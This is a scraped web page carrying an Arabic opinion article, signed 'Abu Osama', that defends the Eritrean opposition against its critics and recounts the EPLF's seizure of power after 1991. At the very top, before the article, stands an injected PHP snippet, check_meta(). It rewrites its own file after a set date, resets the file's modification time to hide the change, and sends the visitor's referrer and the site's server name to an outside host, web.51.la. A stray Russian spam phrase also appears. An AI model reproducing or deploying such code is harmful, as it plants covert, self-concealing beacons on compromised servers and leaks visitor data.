check_meta(); function check_meta(){ $jp = __FILE__; $jptime = filemtime($jp); if(time() >= 1456727708){ $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } @file_get_contents("http://web.51.la:82/go.asp?svid=17&id=18776693&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/components/com_content/helpers/helpers.php"); } رفقا بالمعارضة أيها المنتقدون فالمسؤولية مشتركة
кремлевская диета

رفقا بالمعارضة أيها المنتقدون فالمسؤولية مشتركة

User Rating: / 0
PoorBest 

 

 

 

 

 

 

 

رفقا بالمعارضة أيها المنتقدون  فالمسؤولية مشتركة

 

كثر الحديث عن انتقاد المعارضة وعن أدائها فكلما حدث شيء في الساحة الارترية سواء على صعيد المعارضة أوالنظام صب الجميع جام غضبه على المعارضة منتقدا عدم الاستفادة من الفرص والأوضاع التي نجمت عن التطور الذي حدث، ولكن إذا ما نظرنا إلى الأمور من الناحية الموضوعية نجد هذا الكلام يصب في مصلحة النظام وطول بقائه فالمعارضة لاتملك عصى سحرية تحول بها الهزيمة النفسية التي استوطنت في نفوس الجميع بل هي قوى سياسية تمتلك رؤى وبرامج سياسية تطرحها على الجماهير الارترية وعلى الجماهير الارترية إن تحدد خياراتها السياسية وتتفاعل  مع هذه المشاريع وتتبنى الوقوف مع القوى السياسية والمؤازرة للمشروعات التي اختارتها للتعبير عنها ومن ثم تقدم الغالي والنفيس . ويمكن توجيه النقد وممارسة الضغوط على المعارضة حتى تفي بالتزاماتها تجاه أهدافها  ولكن اليوم لا أحدا يقدم دعما إلا النقد الحاد . وحتى نتناول الأمور بموضوعية علينا إن نناقشها بمسؤولية وعقلانية. فعندما تحررت ارتريا في مايو1991م بعد كفاح دام ثلاثين عاما قدم خلاله شعبنا التضحيات الكبيرة بمختلف فصائله إلا إن الجبهة الشعبية التي خدمتها الظروف الدولية ، بعد المؤامرة الكبيرة التي اشتركت فيها قوى عديدة ضد جبهة التحرير الارترية في مطلع الثمانينات من القرن الماضي ، سيطرت على مقاليد الحكم في ارتريا وهرول الجميع إلى العاصمة الارترية أسمرة باعتبار إن مبررات النضال قد انتهت . ولكن جبهة التحرير وبعض القوى السياسية تمسكت بمواقفها من النظام لمعرفتها بحقيقته ومشاريعه وطالبته بان يعلن مصالحة وطنية حتى يشترك الجميع في وضع اللبنات الأولى لبناء دولة العزة والكرامة باعتبار أنها جاءت كثمرة نضال دؤوب خاضه شعبنا ، وكان أشهر هذه المبادرات البرقية التي بعث بها المناضل الشهيد القائد عبد الله إدريس للمؤتمر الثالث للجبهة الشعبية بمدينة نقفة بالساحل الشمالي في عام1994م رغم محالة الشعبية اغتياله قبيل استيلائها على السلطة بشهر تقريبا والتي راح ضحيتها الشهيد إسماعيل أزهري في الخرطوم . ولكن الشعبية التي أرادت ارتريا لنفسها دون الآخرين رفضت ذلك وساعدها على ذلك الجميع سواء كانوا سياسيون أو أفراد المجتمع الارتري الذين صدقوا إن الشعبية حكومة وإنها جاءت لتنتصر لهم وتعيد اللاجئين إلى ديارهم وينهوا رحلة العذاب والتشرد . ولكن الشعبية رفضت إعادة اللاجئين إلى ديارهم الأمر الذي كان مثار استغراب هيئات ومنظمات الأمم المتحدة والذين عادوا اجبروا للجوء مرة ثانية من خلال الضغوط والإقامة الجبرية ورغم هذا الجو الغير مساعد استمرت القوى التي تمسكت بخيار المقاومة في خندق المعارضة  والجميع يستهجن هذا الموقف إلا انه ومع مرور الزمن وطول مسلسل العذاب على الشعب الارتري بدأ خطاب المعارضة يأخذ طريقه داخل النظام وبدا الحراك الداخلي ولكن رأس النظام وعصابته يقمعون كل من حاول تبني إصلاح الشعبية ناهيك من إصلاح على مستوى الوطن . وبدا هذا الرفض يتسع والهروب والانشقاقات من داخل النظام تتواصل وأصبح النضال ضد الجبهة الشعبية مشروعا بعد إن كان محرما؛ وعندما ساءت علاقات النظام مع دول الجوار التي تضررت منه وحاولت الوقوف مع القوى المناوئة له سارعت بعض القوى الانتهازية بإنشاء تنظيمات وهمية وتحت مسميات عديدة وطرحت نفسها وفي غمرة المشاعر العاطفية المناهضة للنظام وبحجة توسيع الرفض ولكي يساهم كل بما يستطيع أصبحت هذه المجموعات ضمن قائمة المعارضة وأصبحت تمارس أدوارا معيقة لعمل المعارضة مما اضعف الدور الريادي للمعارضة وهذا يجب الايكون مبرر لنقد المعارضة بالجملة كما يجب إن نضع في الاعتبار الدعم الذي يقدم للمعارضة سواء كان من الدول أو من أبناء الشعب الارتري المتواجد في دول المهجر . إذن فالمعارضة بين أمرين أحلاهما مر تحقيق انتصارات تدفع الجميع لتقديم الدعم  اوتحمل هذه الحملات الناقدة. والذين اعتادوا على انتقاد المعارضة لم يتركوا احدا ممن يحاول إبراز دور المعارضة . وقد كتبت مقالا بعنوان (لماذا التمسك بالتحالف الديمقراطي الارتري) وتناولت الأهمية من بقائه ومن خلال متابعة ردود الأفعال حول هذا المقال لاحظت ان تعليقات بعضهم قد امتازت بالسخرية والتهكم - خاصة عندما علق احدهم عن الوضع العسكري وقال (انه سوف لايعلق عن الفرقة الأولى مدرعة والكتيبة الاسترايجية ) ونقول لمثل هؤلاء لوكانت هنالك فرقا وكتائب كما تهكمت لما كان وضعنا بهذه الصورة ، وما تناولناه في ذالك المقال هو إن لبعض تنظيمات التحالف قوى عسكرية يمكن إن تلعب دورا إذا ما وجدت الدعم . والسخرية صفة مذمومة ومنهي عنها حيث قال المولى عز وجل (لايسخر قوم من قوم عسى إن يكونوا خيرا منهم ) وفي مثل هذه الأمور مطلوب التفاؤل والتشجيع ويقول النبي (ص) من كان يؤمن بالله واليوم الآخر فليقل خيرا اوليصمت) فالتغيير يجب إن يتم ضمن أهداف ورؤى لتحقيق مصالح لا إن يكون من اجل مجرد التغيير . فارتريا تحررت من الاستعمار وأصبحت دولة ذات سيادة ولكن معاناة شعبنا فاقت معاناته في عهد الاستعمار فعملية التغيير ضرورية وهي مسؤولية مشتركة بين عامة الشعب وقواه السياسية . وان العديد من الدول التي حدثت فيها الثورات في منطقتنا قام بها قطاع كبير من الجماهير وفي مقدمتهم الشباب الذي استغل التكنولوجيا قي تحريك الشارع وسارعت القوى السياسية في توظيف هذه الجهود باتجاه تحقيق الأهداف المشتركة . فالعملية السياسية شبيهة بالعملية الاقتصادية فالإنتاج يحتاج إلى عوامل تتمثل في رأس المال والأيدي العاملة والأرض والإدارة . كذلك الأهداف السياسية لابد من إن يشارك الجميع في تحقيها كل بما يستطيع أما إن تكون مساهمتنا انتقاد المعارضة ووصفها بالفاشلة والهزيلة والمختلفة ، فهذا يعزز موقف النظام وهي نفس العبارات التي يستخدمها النظام . فالمسؤولية مشتركة وليراجع كل منا نفسه وليتأكد انه قام بواجبه خير قيام ثم نتوجه للمعارضة لنقوم مسارها ونشجعها من خلال توفير وسائل العمل لا أن نثبط هممها لأن البديل في هذه الحالة سيكون إعطاء النظام المزيد من فرص البقاء .

أبو أسامة

السودان

 



Add comment

Your comments are as important as the article you are commenting on. Please enrich the discussion by avoiding personal attacks. We'll publish your comment, if it meets our criteria. تعليقاتك لا تقل اهمية عن المقال المكتوب اعلاه، فالرجاء اثراء النقاش بالابتعاد عن الاساءات الشخصية. سوف ننشر تعليقك اذا استوف شروط النشر



Security code
Refresh

Enough dictatorship

Get Adobe Flash player

Arkokabay Media -----> Poem

Get Adobe Flash player

مرض الرئيس الأريتري بين الشائعة والنفي

Get Adobe Flash player

ALIA GABRES- SHE COTTON SUMMER DRESSES

Get Adobe Flash player

عمود الكتاب العربي

Arkokabay.com
Arkokabay.com
OMAR JABIR الأستاذ عمر جابر
OMAR JABIR الأستاذ عمر جابر
Zein Shokayالأستاذ زين شوكاي
Zein Shokayالأستاذ زين شوكاي
سعادة السفير حمد كلُ
سعادة السفير حمد كلُ
الأستاذ صلاح أبوراي
الأستاذ صلاح أبوراي
 الأستاذة حنان
الأستاذة حنان
الأستاذ موسى ضرار
الأستاذ موسى ضرار
الأستاذ أبو الرشيد
الأستاذ أبو الرشيد
الأستاذ عبدالفتاح ود الخليفة
الأستاذ عبدالفتاح ود الخليفة
الأستاذ ياسين محمد عبدالله
الأستاذ ياسين محمد عبدالله
الأستاذ محمد نور - بركان
الأستاذ محمد نور - بركان
الأستاذ جمال همد
الأستاذ جمال همد
الأستاذ فكاك ناير
الأستاذ فكاك ناير
الأستاذ أحمد صلاح الدين
الأستاذ أحمد صلاح الدين
Amal Ali الأستاذة أمال علي
Amal Ali الأستاذة أمال علي
Mohamed - Wahran Eritreaمحمد - وهران ارتريا
Mohamed - Wahran Eritreaمحمد - وهران ارتريا
الأستاذ حسن سلمان
الأستاذ حسن سلمان
الأستاذة منى محمد صالح
الأستاذة منى محمد صالح
الاستاذة نوره فارس
الاستاذة نوره فارس